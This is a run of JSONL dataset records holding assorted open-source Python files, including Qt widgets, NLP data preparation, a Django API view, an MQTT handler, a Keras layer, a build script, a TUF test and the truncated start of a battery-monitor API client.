)\n if 'svg' in filter_:\n exporter = pg.exporters.SVGExporter(view.scene())\n elif 'png' in filter_:\n exporter = pg.exporters.ImageExporter(view.scene())\n else:\n raise ValueError(f'\u65e0\u6cd5\u8bc6\u522b\u7684\u6587\u4ef6\u683c\u5f0f - {filter_}.')\n\n exporter.export(filename)\n QMessageBox.information(self, '\u5bfc\u51fa\u56fe\u50cf', '\u56fe\u50cf\u5bfc\u51fa\u5b8c\u6bd5\uff01')\n\n self.button_export.clicked.connect(_export)\n\n def _init_button_show_errors(self):\n def _click():\n es = self.label_errors.property('es')\n QMessageBox.information(self, '\u5f02\u5e38\u503c\u4fe1\u606f',\n f'\u5f02\u5e38\u503c\u5982\u4e0b\u6240\u793a (\u5171\u8ba1{len(es)}\u4e2a):\\n'\n f'{os.linesep.join(map(str, sorted(es)))}')\n\n self.button_show_errors.clicked.connect(_click)\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2009-2011 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guidata/__init__.py for details)\n\n\"\"\"\nqtwidgets\n---------\n\nThe ``guidata.qtwidgets`` module provides ready-to-use or generic widgets \nfor developing easily Qt-based graphical user interfaces.\n\"\"\"\n\nfrom math import cos, sin, pi\nfrom qtpy import PYQT5\nfrom qtpy.QtWidgets import QLabel, QWidget, QDockWidget\nfrom qtpy.QtGui import QPainter, QPen\nfrom qtpy.QtCore import QSize, Qt\n\n# Local imports:\nfrom guidata.configtools import get_family\n\n\nclass RotatedLabel(QLabel):\n \"\"\"\n Rotated QLabel\n (rich text is not supported)\n \n Arguments:\n * parent: parent widget\n * angle=270 (int): rotation angle in degrees\n * family (string): font family\n * bold (bool): font weight\n * italic (bool): font italic style\n * color (QColor): font color\n \"\"\"\n\n def __init__(\n self,\n text,\n parent=None,\n angle=270,\n family=None,\n bold=False,\n italic=False,\n color=None,\n ):\n QLabel.__init__(self, text, parent)\n font = self.font()\n if family is not None:\n font.setFamily(get_family(family))\n font.setBold(bold)\n font.setItalic(italic)\n self.setFont(font)\n self.color = color\n self.angle = angle\n self.setAlignment(Qt.AlignCenter)\n\n def paintEvent(self, evt):\n painter = QPainter(self)\n if self.color is not None:\n painter.setPen(QPen(self.color))\n painter.rotate(self.angle)\n transform = painter.transform().inverted()[0]\n rct = transform.mapRect(self.rect())\n painter.drawText(rct, self.alignment(), self.text())\n\n def sizeHint(self):\n hint = QLabel.sizeHint(self)\n width, height = hint.width(), hint.height()\n angle = self.angle * pi / 180\n rotated_width = abs(width * cos(angle)) + abs(height * sin(angle))\n rotated_height = abs(width * sin(angle)) + abs(height * cos(angle))\n return QSize(rotated_width, rotated_height)\n\n def minimumSizeHint(self):\n return self.sizeHint()\n\n\nclass DockableWidgetMixin(object):\n ALLOWED_AREAS = Qt.AllDockWidgetAreas\n LOCATION = Qt.TopDockWidgetArea\n FEATURES = (\n QDockWidget.DockWidgetClosable\n | QDockWidget.DockWidgetFloatable\n | QDockWidget.DockWidgetMovable\n )\n\n def __init__(self, parent):\n self.parent_widget = parent\n self._isvisible = False\n self.dockwidget = None\n self._allowed_areas = self.ALLOWED_AREAS\n self._location = self.LOCATION\n self._features = self.FEATURES\n\n def setup_dockwidget(self, location=None, features=None, allowed_areas=None):\n assert (\n self.dockwidget is None\n ), \"Dockwidget must be setup before calling 'create_dockwidget'\"\n if location is not None:\n self._location = location\n if features is not None:\n self._features = features\n if allowed_areas is not None:\n self._allowed_areas = allowed_areas\n\n def get_focus_widget(self):\n pass\n\n def create_dockwidget(self, title):\n \"\"\"Add to parent QMainWindow as a dock widget\"\"\"\n dock = QDockWidget(title, self.parent_widget)\n dock.setObjectName(self.__class__.__name__ + \"_dw\")\n dock.setAllowedAreas(self._allowed_areas)\n dock.setFeatures(self._features)\n dock.setWidget(self)\n dock.visibilityChanged.connect(self.visibility_changed)\n self.dockwidget = dock\n return (dock, self._location)\n\n def is_visible(self):\n return self._isvisible\n\n def visibility_changed(self, enable):\n \"\"\"DockWidget visibility has changed\"\"\"\n if enable:\n self.dockwidget.raise_()\n widget = self.get_focus_widget()\n if widget is not None:\n widget.setFocus()\n self._isvisible = enable and self.dockwidget.isVisible()\n\n\nclass DockableWidget(QWidget, DockableWidgetMixin):\n def __init__(self, parent):\n if PYQT5:\n super(DockableWidget, self).__init__(parent, parent=parent)\n else:\n QWidget.__init__(self, parent)\n DockableWidgetMixin.__init__(self, parent)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\"\"\"\nThe script gathers summary and chapter data into a single jsonl file that we can later break into paragraphs\nthat align with the sentences from the summaries. The script is run separately for the train/test/val splits.\n\n\"\"\"\nimport argparse\nimport json\nimport os\nimport re\nimport spacy\n\nfrom tqdm import tqdm\n\ndef fix_leftover_headers(summary_content):\n \"\"\"\n Function removes leftover prefixes from the summary text, such as: Chapter 1, Chapter V, Analysis, etc.\n\n :param summary_content: summary text\n \"\"\"\n # remove 'chapter' text\n summary_content = [sent for sent in summary_content if not re.match(r\"^[- ]*Chapter[ ]?([0-9]{1,3}|[XVIL]{1,6})[ :.-]*$\", sent)]\n\n # remove 'analysis' text\n summary_content = [sent for sent in summary_content if not sent == \"Analysis\"]\n\n # remove floating punctuations\n summary_content = [sent for sent in summary_content if not sent == \"-\" or not sent == \".\"]\n\n return summary_content\n\n\ndef fix_prefix_punctuation(summary_content):\n \"\"\"\n Function merges sentences that start with a punctuation character\n\n :param summary_content: summary text\n \"\"\"\n # fix sentences starting with puncutation\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(r\"^[,.?!:-]\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_prefix_quotations(summary_content):\n \"\"\"\n Merge unclosed quotations with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n # merge floating quotations\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(r\"^[\\\"\\']$\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n elif fixed_content and re.match(r\"^[\\\"\\'] [a-z]\", sentence):\n fixed_content[-1] = fixed_content[-1] + sentence\n ix += 1\n elif re.match(r\"^[\\\"\\'] [A-Z]\", sentence):\n sent_split = sentence.split(\" \")\n fixed_content[-1] = fixed_content[-1] + sent_split[0].strip()\n fixed_content.append(\" \".join(sent_split[1:]).strip())\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_unclosed_quotations(summary_content):\n \"\"\"\n Merge unclosed quotations with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and sum([True for ch in sentence if ch == '\"']) % 2 == 1 and sum([True for ch in fixed_content[-1] if ch == '\"']) % 2 == 1:\n fixed_content[-1] = fixed_content[-1].rstrip() + \" \" + sentence.lstrip()\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_noncapitalized_prefix(summary_content):\n \"\"\"\n Merge noncapitalized texts with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n # merge short sentences\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if fixed_content and re.match(\"^[ ]?[a-z]\", sentence):\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef fix_short_sentences(summary_content):\n \"\"\"\n Merge short sentences with previous sentences\n\n :param summary_content: summary text\n \"\"\"\n LEN_95_PERCENTILE = 20\n\n # merge short sentences\n ix = 0\n fixed_content = []\n while ix < len(summary_content):\n sentence = summary_content[ix]\n\n if len(sentence) < LEN_95_PERCENTILE:\n if fixed_content and sentence[0].islower():\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n ix += 1\n elif ix+1 < len(summary_content):\n fixed_content.append(sentence + \" \" + summary_content[ix+1])\n ix += 2\n else:\n try:\n fixed_content[-1] = fixed_content[-1] + \" \" + sentence\n except:\n print (\"sentence: \", sentence)\n print (\"summary_content: \", summary_content)\n print (\"fixed_content: \", fixed_content)\n ix += 1\n else:\n fixed_content.append(sentence)\n ix += 1\n\n return fixed_content\n\n\ndef main(args):\n\n CHAPTER_SUMMARY_MATCHED_FILE = args.matched_file\n\n # load matched data\n with open(CHAPTER_SUMMARY_MATCHED_FILE) as fd:\n raw_data = [json.loads(line) for line in fd]\n\n spacy_nlp = spacy.load('en_core_web_lg', disable=[\"tagger\", \"ner\", \"textcat\",\"lemmatizer\"])\n\n CHAPTERIZED_BOOKS_DIR = \"../../\"\n FINISHED_SUMMARIES_DIR = \"../../scripts/\"\n\n # gather data\n processed_data = []\n for example in tqdm(raw_data):\n with open(os.path.join(CHAPTERIZED_BOOKS_DIR, example[\"chapter_path\"])) as fd:\n if args.join_strings:\n chapter_content = \" \".join([line.strip() for line in fd.readlines()])\n elif args.split_paragraphs:\n chapter_content = fd.read().split(\"\\n\\n\")\n chapter_content = [par.replace(\"\\n\", \" \").strip() for par in chapter_content]\n chapter_content = [par for par in chapter_content if par]\n else:\n raise RuntimeError(\"Unknown processing option\")\n\n summary_path = os.path.join(FINISHED_SUMMARIES_DIR, example[\"summary_path\"])\n\n if not os.path.exists(summary_path):\n continue\n \n with open(summary_path) as fd:\n if args.join_strings:\n summary_content = \" \".join([line.strip() for line in json.loads(fd.read())[\"summary\"]])\n elif args.split_paragraphs:\n summary_content = \" \".join([line.strip() for line in json.loads(fd.read())[\"summary\"]])\n summary_content = [sent.text.strip() for sent in spacy_nlp(summary_content).sents]\n summary_content = [sent for sent in summary_content if sent]\n\n summary_content = fix_leftover_headers(summary_content)\n summary_content = fix_prefix_punctuation(summary_content)\n summary_content = fix_prefix_quotations(summary_content)\n summary_content = fix_unclosed_quotations(summary_content)\n summary_content = fix_noncapitalized_prefix(summary_content)\n try:\n summary_content = fix_short_sentences(summary_content)\n except:\n print (\"Example: \", example)\n else:\n raise RuntimeError(\"Unknown processing option\")\n\n example[\"text\"] = chapter_content\n example[\"summary\"] = summary_content\n\n processed_data.append(example)\n\n # save gathered data\n with open(CHAPTER_SUMMARY_MATCHED_FILE + \".gathered\", \"w\") as fd:\n for example in processed_data:\n fd.write(json.dumps(example) + \"\\n\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--join_strings', action='store_true')\n parser.add_argument('--split_paragraphs', action='store_true')\n parser.add_argument('--matched_file', type=str, required=True)\n args = parser.parse_args()\n\n if args.join_strings and args.split_paragraphs or (not args.join_strings and not args.split_paragraphs):\n raise RuntimeError(\"Chose only one of the splitting options: `join_strings` or `split_paragraphs`\")\n\n main(args)\n\n\n", "source": "Yale-LILY/booksum", "license": "BSD-3-Clause"} {"text": "from django.http import JsonResponse\nfrom .models import Lottery\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\nfrom django.core.management import call_command\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\ndef index(request):\n \"\"\"\n Example:\n\n // GET https://two.fake/newly.do?code=cqssc\n {\n \"rows\": 3,\n \"code\": \"cqssc\",\n \"data\": [\n {\n \"expect\": \"20190902003\",\n \"opencode\": \"3,8,1,9,5\",\n \"opentime\": \"2019-09-02 01:12:46\"\n },\n {\n \"expect\": \"20190902002\",\n \"opencode\": \"3,1,5,8,6\",\n \"opentime\": \"2019-09-02 00:52:37\"\n },\n {\n \"expect\": \"20190902001\",\n \"opencode\": \"6,1,9,0,3\",\n \"opentime\": \"2019-09-02 00:32:03\"\n }\n ]\n }\n \"\"\"\n if request.method == 'POST':\n action = request.POST.get('action')\n if action == 'create':\n call_command('createlottery')\n elif action == 'update':\n call_command('updatelottery')\n elif action == 'delete':\n call_command('deletelottery')\n return redirect(reverse('index'))\n objs = Lottery.objects.all()\n gamekey = request.GET.get('code')\n if gamekey:\n objs = Lottery.objects.filter(gamekey=gamekey)\n data = [{\n 'expect': obj.gid,\n 'opencode': obj.award,\n 'opentime': obj.updatetime.strftime('%Y-%m-%d %H:%M:%S'),\n } for obj in objs]\n else:\n gamekey = 'all'\n objs = Lottery.objects.all()\n data = [{\n 'expect': obj.gid,\n 'code': obj.gamekey,\n 'opencode': obj.award,\n 'opentime': obj.updatetime.strftime('%Y-%m-%d %H:%M:%S'),\n } for obj in objs]\n results = {\n \"rows\": objs.count(),\n \"code\": gamekey,\n \"data\": data,\n }\n return JsonResponse(results)\n", "source": "j3ygh/universetech-lotterydraw", "license": "MIT"} {"text": "class BaseAbort(object):\n def __init__(self, reason):\n self.reason = reason\n\nclass PythonAbort(BaseAbort):\n def __init__(self, reason, pycode, lineno):\n super(PythonAbort, self).__init__(reason)\n self.pycode = pycode\n self.lineno = lineno\n\n def visit(self, visitor):\n return visitor.visit_python_abort(self)", "source": "alex/tracebin", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\nimport json\n\n# pip install paho-mqtt\nimport paho.mqtt.client as mqtt\n\n\ndef on_connect(client, userdata, flags, rc):\n \"\"\"Called when connected to MQTT broker.\"\"\"\n client.subscribe(\"hermes/intent/#\")\n client.subscribe(\"hermes/nlu/intentNotRecognized\")\n print(\"Connected. Waiting for intents.\")\n\n\ndef on_disconnect(client, userdata, flags, rc):\n \"\"\"Called when disconnected from MQTT broker.\"\"\"\n client.reconnect()\n\n\ndef on_message(client, userdata, msg):\n \"\"\"Called each time a message is received on a subscribed topic.\"\"\"\n if msg.topic == \"hermes/nlu/intentNotRecognized\":\n sentence = \"Unrecognized command!\"\n print(\"Recognition failure\")\n else:\n # Intent\n nlu_intent = json.loads(msg.payload)\n print(\"Got intent:\", nlu_intent[\"intent\"][\"intentName\"])\n\n # Speak the text from the intent\n sentence = nlu_intent[\"input\"]\n\n client.publish(\"hermes/tts/say\", json.dumps({\"text\": sentence}))\n\n\n# Create MQTT client and connect to broker\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_disconnect = on_disconnect\nclient.on_message = on_message\n\nclient.connect(\"localhost\", 1883)\nclient.loop_forever()\n", "source": "WPettersson/rhasspy", "license": "MIT"} {"text": "from django.apps import AppConfig\n\n\nclass SocialOauthTokenConfig(AppConfig):\n name = \"social_oauth_token\"\n", "source": "khasbilegt/django-social-auth-token", "license": "MIT"} {"text": "### PROBLEM 1\n\ndef main():\n print(\"Name: Shaymae Senhaji\")\n print(\"Favorite Food: Brie Cheese\")\n print(\"Favorite Color: Red\")\n print(\"Favorite Hobby: Traveling\")\n\nif __name__ == \"__main__\":\n main()\n\n#Name: Shaymae Senhaji \n#Favorite Food: Brie Cheese\n#Favorite Color: Red\n#Favorite Hobby: Traveling \n", "source": "ATMS-207-Fall-2020/lab-2-ShaySen", "license": "MIT"} {"text": "import os\nimport subprocess\nfrom subprocess import Popen, PIPE\nimport logging as log\nfrom typing import Iterator, List\nimport threading\n\nfrom multiprocessing.pool import ThreadPool\n\nlog.basicConfig(level=log.DEBUG)\n\ndir_path = os.path.dirname(os.path.abspath(__file__))\neng_script_path = os.path.join(dir_path, 'ulf-eng-tok.sh')\nsrc_script_path = os.path.join(dir_path, 'ulf-src-tok.sh')\n\ndef tokenize(line: str) -> List[str]:\n \"\"\"Tokenize a single line .\n This is not efficient, please use tokenize_lines(...) instead\n \"\"\"\n return list(tokenize_lines([line]))[0]\n\ndef tokenize_lines(lines: Iterator[str], english_like=True) -> Iterator[List[str]]:\n \"\"\"Tokenize a stream of lines\"\"\"\n script_path = eng_script_path if english_like else src_script_path\n p = Popen(script_path, stdin=PIPE, stdout=PIPE, universal_newlines=True, bufsize=1)\n\n def write(iter, out):\n for line in iter:\n out.write(line + '\\n')\n out.close()\n\n writer = threading.Thread(target=write, args=(lines, p.stdin))\n writer.daemon = True\n writer.start()\n\n for out_line in p.stdout:\n yield out_line.strip().split()\n log.debug(f'stopping {p.pid}')\n p.kill()\n\n\ndef tokenize_files(inp_paths: List[str], outp_paths: List[str], jobs: int=None, english_like=True):\n assert len(inp_paths) == len(outp_paths)\n log.info(f\" Going to tokenize {len(inp_paths)} using {jobs} pool\")\n\n def tokenize_file(inp_path, out_path):\n script_path = eng_script_path if english_like else src_script_path\n cmd = f'{script_path} < {inp_path} > {out_path} '\n log.debug(f\" Going to tokenize {len(inp_paths)} using {jobs} pool\")\n status, _ = subprocess.getstatusoutput(cmd)\n\n pool = ThreadPool(jobs)\n for (inp, out) in zip(inp_paths, outp_paths):\n pool.apply_async(tokenize_file, (inp, out))\n\n pool.close()\n pool.join()\n\n\nif __name__ == '__main__':\n\n text = \"Hello,... this is a test! Is it good? http://isi.edu\"\n print(tokenize(text))\n lines = [text] * 10\n for line in tokenize_lines(lines):\n print(line)\n", "source": "isi-nlp/ulf-tokenizer", "license": "Apache-2.0"} {"text": "FirstNum = input(\"1st Number : \")\nSecondNum = input(\"2nd Number ; \")\nprint(int(FirstNum) + int(SecondNum))", "source": "ZnoKunG/PythonProject", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\nimport click\nimport fiona\nimport pdb\n\n@click.command()\n@click.argument('in_file', type=str)\n@click.argument('out_file', type=click.Path(dir_okay=False))\n@click.option('--vfs', type=str)\ndef doit(in_file, out_file, vfs):\n if vfs:\n input = fiona.open(in_file, vfs=vfs)\n else:\n input = fiona.open(in_file)\n # The output has the same schema\n output_schema = input.schema.copy()\n # write a new shapefile\n with fiona.open(out_file , 'w', 'ESRI Shapefile',output_schema,\n crs=input.crs) as output:\n for elem in filter(lambda feat: feat['properties'].get('type') == 'Land',\n input): \n print(\"processing %d\" % elem['properties'].get('OBJECTID'))\n output.write(elem)\n\nif __name__ == '__main__':\n doit()\n", "source": "ricardog/raster-project", "license": "Apache-2.0"} {"text": "from classes import Stock, format\nimport numpy as np\nimport os\nfrom datetime import date, timedelta\nfrom dateutil.parser import parse\nimport sys\n\n# datapath = 'formated/SZ#002673.json'\ndatapath = 'formated/SH#600007.json'\n# datapath = 'formated/SZ#000553.json'\n# amount = float(10000)\n\nstock = Stock()\n\n\ndef getFiles(dirname):\n files = None\n for dirpath, dirnames, filenames in os.walk(dirname):\n files = [os.path.join(dirpath, p) for p in filenames if p.endswith('.json')]\n return files\n\n\nfiles = getFiles('formated')\n\n\ndef getDates(arr):\n return [' - '.join([d['date'], str(d['close'])]) for d in arr]\n\n\ndef reformatItem(item, index):\n item['index'] = index\n item['odate'] = parse(item['date']).date()\n return item\n\n\n# result = []\n\n# amounts = []\n\n\ndef test(filepath, amount=float(10000), rate=0.1, begdate=date(2016, 1, 1), enddate=date(2017, 1, 1)):\n stock.load(filepath)\n nextDate = begdate\n total = len(stock.items)\n # print('rate = %s' % rate)\n # global result\n # global amounts\n durs = []\n turnings = [reformatItem(stock.items[i], i) for i in range(1, total - 1)\n if stock.isFirstTurningByMACD(stock.items[i], stock.items[i - 1])]\n for d in [d for d in turnings if d['odate'] >= begdate and d['odate'] < enddate]:\n if d['odate'] < nextDate:\n continue\n if d['odate'] > nextDate:\n nextDate = d['odate']\n # in\n num = int(amount / d['close'])\n for dd in [j for j in stock.items if parse(j['date']).date() > nextDate]:\n diff = dd['high'] - d['close']\n diffp = diff / d['close']\n if diffp >= rate:\n # out\n out = d['close'] * (1 + rate)\n\n diffout = out - d['close']\n dur = parse(dd['date']) - parse(d['date'])\n durs.extend([dur])\n # print('%s - %-5s | %s - %-7s open=%-5s,high=%-5s,close=%-5s | %-6s:%s | %s' % (\n # d['date'], d['close'], dd['date'], out, dd['open'], dd['high'],\n # dd['close'], diffout, num, dur))\n amount += diffout * num\n nextDate = parse(dd['date']).date()\n break\n # print('amount = {}'.format(amount))\n # lendurs = len(durs)\n # if not lendurs == 0:\n # result.extend(\n # [{'code': stock.code, 'amount': amount, 'durs': durs, 'avgtimes': sum(durs, timedelta()) / len(durs)}])\n # result.extend([{'code': stock.code, 'amount': amount, 'durs': durs, 'avgtimes': timedelta()}])\n # sortedDurs = sorted(durs, reverse=True)\n # if len(sortedDurs) > 0:\n # d = sortedDurs[0]\n # return {\n # 'code': stock.code,\n # 'rate': rate,\n # 'amount': amount,\n # 'period': d\n # }\n # return None\n lendurs = len(durs)\n avg = 0\n if lendurs > 0:\n avg = sum(durs, timedelta()) / lendurs\n return {\n 'times': lendurs,\n 'amount': amount,\n 'avgtime': avg,\n 'rate': rate\n }\n\n\ndef displayResult(arr):\n for d in arr:\n print('%-20s | %-10s' % (d['avgtimes'], d['amount']))\n\n\n# test(datapath)\n# for fp in files[:10]:\n# test(fp)\n\nresult = []\n\nlenfile = len(files)\ni = 1\n\nfor fp in files:\n periods = []\n\n for rate in np.arange(0.02, 0.1, 0.001)[::-1]:\n d = test(fp, rate=rate)\n periods.extend([d])\n sys.stdout.write('\\r%4d/%4d %5f' % (i,lenfile,rate))\n sys.stdout.flush()\n\n sp = sorted(periods, key=lambda d: (d['times'], d['amount']), reverse=True)\n if len(sp) > 0:\n first = sp[0]\n first['code'] = stock.code\n result.extend([first])\n i+=1\n\nsr = sorted(result, key=lambda d: (d['times'], d['amount']), reverse=True)\nprint (sr[:10])\n\n# sortedamounts = sorted(amounts, key=lambda (a, r): a)\n# print (sortedamounts)\n\n# sortedresult = sorted(result, key=lambda d: (d['avgtimes']))\n# displayResult(sortedresult)\n", "source": "m860/data-analysis-with-python", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# Developed by Xieyuanli Chen and Thomas L\u00e4be\n# This file is covered by the LICENSE file in the root of this project.\n# Brief: A custom keras padding layer.\n# pad([1 2 3 4], 2) -> [3, 4, 1, 2, 3, 4, 1]\nimport numpy as np\nfrom keras.layers import Layer\nfrom keras.models import Sequential\nimport keras.backend as K\n\n\nclass RangePadding2D(Layer):\n \"\"\" A keras layer which does horizontal padding. The input tensor\n is padded in the width direction.\n \"\"\"\n \n def __init__(self, padding, **kwargs):\n \"\"\" Initialization of the layer.\n Args:\n padding: defines how much will be padded \"before\" and \"after\" the input.\n The input is padded in width direction like this:\n [ padding:end, original, beginning:padding-1]\n Usually one uses half of the width for this argument to have a symmetric padding\n \"\"\" \n self.padding = padding\n super(RangePadding2D, self).__init__(**kwargs)\n \n def build(self, input_shape):\n super(RangePadding2D, self).build(input_shape)\n \n def call(self, inputs):\n if K.backend() == \"tensorflow\":\n # only do range padding in width dimension\n out = K.concatenate([inputs[:, :, self.padding:, :], inputs[:, :, :, :], inputs[:, :, :self.padding-1, :]],\n axis=2)\n else:\n raise Exception(\"Backend \" + K.backend() + \"not implemented\")\n return out\n \n def compute_output_shape(self, input_shape):\n return (input_shape[0], input_shape[1], input_shape[2] + input_shape[2] - 1 , input_shape[3])\n\n\nif __name__ == \"__main__\":\n one_channel_test = True\n two_channel_test = True\n \n if two_channel_test:\n # set test data\n image_raw = [[1, 6], [2, 5], [3, 4], [4, 3], [5, 2], [6, 1]]\n \n image = np.expand_dims(np.expand_dims(np.array(image_raw), 0), 0)\n print(\"input image shape: \", image.shape)\n print(\"Input:\")\n print(image)\n \n # build Keras model\n model = Sequential()\n rlayer = RangePadding2D(padding=3, input_shape=(1, 6, 2))\n model.add(rlayer)\n model.build()\n \n # simply apply existing filter, we use predict with no training\n out = model.predict(image)\n print(\"Output shape: \",out.shape)\n print(\"result of compute_output_shape (should be the same):\", rlayer.compute_output_shape(rlayer.input_shape))\n print(\"Output:\")\n print(out)\n \n if one_channel_test:\n # one channel test\n image_raw = [[1, 2, 3, 4, 5, 6]]\n \n # pad to channels_last format\n # which is [batch, width, height, channels]=[1,1,6,1]\n image = np.expand_dims(np.expand_dims(np.array(image_raw), 2), 0)\n print(\"input image shape: \", image.shape)\n print(\"Input:\")\n print(image)\n \n # build Keras model\n model = Sequential()\n rlayer = RangePadding2D(padding=3, input_shape=(1, 6, 1))\n model.add(rlayer)\n model.build()\n \n # simply apply existing filter, we use predict with no training\n out = model.predict(image)\n print(\"Output shape: \",out.shape)\n print(\"result of compute_output_shape (should be the same):\", rlayer.compute_output_shape(rlayer.input_shape))\n print(\"Output:\")\n print(out)\n", "source": "lilin-hitcrt/OverlapNet", "license": "MIT"} {"text": "src = Split('''\n aos/soc_impl.c\n hal/uart.c\n hal/flash.c \n\tmain.c\n''')\n\ndeps = Split('''\n kernel/rhino\n platform/arch/arm/armv7m\n platform/mcu/wm_w600/\n kernel/vcall\n kernel/init\n''')\n\nglobal_macro = Split('''\n STDIO_UART=0 \n CONFIG_NO_TCPIP\n RHINO_CONFIG_TICK_TASK=0 \n RHINO_CONFIG_WORKQUEUE=0\n CONFIG_AOS_KV_MULTIPTN_MODE\n CONFIG_AOS_KV_PTN=5\n CONFIG_AOS_KV_SECOND_PTN=6\n CONFIG_AOS_KV_PTN_SIZE=4096\n CONFIG_AOS_KV_BUFFER_SIZE=8192\n SYSINFO_PRODUCT_MODEL=\\\\\"ALI_AOS_WM_W600\\\\\" \n SYSINFO_DEVICE_NAME=\\\\\"WM_W600\\\\\"\n''')\n\n\nglobal_cflags = Split('''\n -mcpu=cortex-m3\n -mthumb\n -mfloat-abi=soft\n -march=armv7-m\n -mthumb -mthumb-interwork\n -mlittle-endian\n -w\n ''')\n\nlocal_cflags = Split('''\n -Wall \n -Werror\n -Wno-unused-variable\n -Wno-unused-parameter\n -Wno-implicit-function-declaration\n -Wno-type-limits\n -Wno-sign-compare\n -Wno-pointer-sign\n -Wno-uninitialized\n -Wno-return-type\n -Wno-unused-function\n -Wno-unused-but-set-variable\n -Wno-unused-value\n -Wno-strict-aliasing\n''')\n\nglobal_includes = Split('''\n ../../arch/arm/armv7m/gcc/m3\n''')\n\nglobal_ldflags = Split('''\n -mcpu=cortex-m3 \n -mthumb -mthumb-interwork\n -mlittle-endian\n -nostartfiles\n --specs=nosys.specs\n''')\n\n\nprefix = ''\nif aos_global_config.compiler == \"gcc\":\n prefix = 'arm-none-eabi-'\n\ncomponent = aos_mcu_component('WM_W600', prefix, src)\ncomponent.set_global_arch('Cortex-M3')\n\ncomponent.add_comp_deps(*deps)\ncomponent.add_global_macros(*global_macro)\ncomponent.add_global_cflags(*global_cflags)\ncomponent.add_cflags(*local_cflags)\ncomponent.add_global_includes(*global_includes)\ncomponent.add_global_ldflags(*global_ldflags)\n", "source": "jinlongliu/AliOS-Things", "license": "Apache-2.0"} {"text": "import os\nimport shutil\nimport tempfile\n\nfrom tuf_on_a_plane.models.common import Filepath\nfrom tuf_on_a_plane.repository import Config, JSONRepository, Target\n\n\ndef test_e2e_succeeds():\n orig_metadata_cache = \"tests/data/repository/metadata\"\n\n temp_metadata_cache = tempfile.TemporaryDirectory()\n temp_targets_cache = tempfile.TemporaryDirectory()\n\n shutil.copytree(orig_metadata_cache, temp_metadata_cache.name, dirs_exist_ok=True)\n\n c = Config(\n \"https://dd-integrations-core-wheels-build-stable.datadoghq.com/metadata.staged/\",\n \"https://dd-integrations-core-wheels-build-stable.datadoghq.com/targets/\",\n temp_metadata_cache.name,\n temp_targets_cache.name,\n )\n\n def get(relpath: Filepath, depth: int = 0) -> None:\n print((depth * \"\\t\") + relpath)\n t: Target = r.get(relpath)\n assert os.path.exists(t.path)\n if t.target.custom:\n paths = t.target.custom.get(\"in-toto\")\n if paths:\n for path in paths:\n get(path, depth + 1)\n\n try:\n r = JSONRepository(c)\n except Exception:\n temp_metadata_cache.cleanup()\n temp_targets_cache.cleanup()\n raise\n else:\n try:\n get(\"simple/index.html\")\n finally:\n temp_metadata_cache.cleanup()\n temp_targets_cache.cleanup()\n r.close()\n", "source": "trishankatdatadog/tuf-on-a-plane", "license": "Apache-2.0"} {"text": "# -*- coding:utf-8 -*-\n\n# Copyright (c) 2018 Jason K\u00f6lker\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nimport urllib.parse\n\nimport dateutil.parser\nimport requests\nimport requests.auth\nimport ttldict\n\n\nHOST = 'https://balanced.deltranconnected.com'\nLOGIN_PATH = '/api/users/login'\nAUTHENTICATE_PATH = '/api/users/authenticate'\nCHARGER_PATH = '/api/charger/status'\nMONITOR_PATH = '/api/monitor/status'\n\n\nclass AuthorizationError(Exception):\n def __init__(self, response):\n super(AuthorizationError, self).__init__('Authorization Falied')\n self.response = response\n\n\nclass BatteryTenderAuth(requests.auth.AuthBase):\n def __init__(self, email, password, callback=None):\n self._params = {'email': email, 'password': password}\n self._callback = callback\n self.token = None\n self._enc_token = None\n\n def _handle(self, r, **kwargs):\n if r.status_code == 401:\n r.content\n r.close()\n\n auth = requests.Request(method='POST',\n url='{}{}'.format(HOST, LOGIN_PATH),\n params=self._params)\n\n _r = 